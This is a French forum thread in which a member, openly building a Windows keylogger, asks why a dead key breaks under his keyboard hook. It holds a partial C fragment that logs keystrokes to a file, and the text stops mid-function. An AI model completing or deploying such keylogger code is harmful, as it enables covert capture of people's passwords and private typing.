deck_bsd
Messages postés1243Date d'inscriptionjeudi 31 mars 2005StatutMembreDernière intervention 3 août 2016
-
13 sept. 2006 à 15:45
kerneltony95
Messages postés152Date d'inscriptiondimanche 22 janvier 2006StatutMembreDernière intervention26 mars 2007
-
6 févr. 2007 à 14:34
Yop,
Bon dernière question de la journée :p enfin j'espère. Et la je sèche vraiment.
En claire, je fait un keylogger, pour se faire un hook clavier s'impose. Bon il fonction a merveil sauve pour UNE touche :s c'est celle juste à côté du P . En faite lorsque le hook est activer et que je veu taper le caractère [ et bien juste après celui-ci vient se mettre le caratère ^. En claire lorsque je tape [ j'obtient [^ , et ¨ ne fonctionne plus non plus. Et la je voi pas du tout de ou cela peut venir. Voici ma fonction pour l'interception des touche :
switch(wParam){
case VK_RETURN:
fprintf(log_file,"\n");
break;
case VK_CONTROL:
fprintf(log_file,"[CTRL]");
break;
case VK_MENU:
fprintf(log_file,"[ALT]");
break;
case VK_DELETE:
fprintf(log_file,"[DEL]");
break;
case VK_BACK:
fprintf(log_file,"[<==]");
break;
case VK_TAB:
fprintf(log_file,"[TAB]");
break;
case VK_SHIFT:
fclose(log_file);
return;
break;
default:{
BYTE byKeyBState[256];
GetKeyboardState(byKeyBState);
WORD wChar; /* Varaible qui va recevoir le code Ascii de la touche. */
UINT uiScanCode = 0;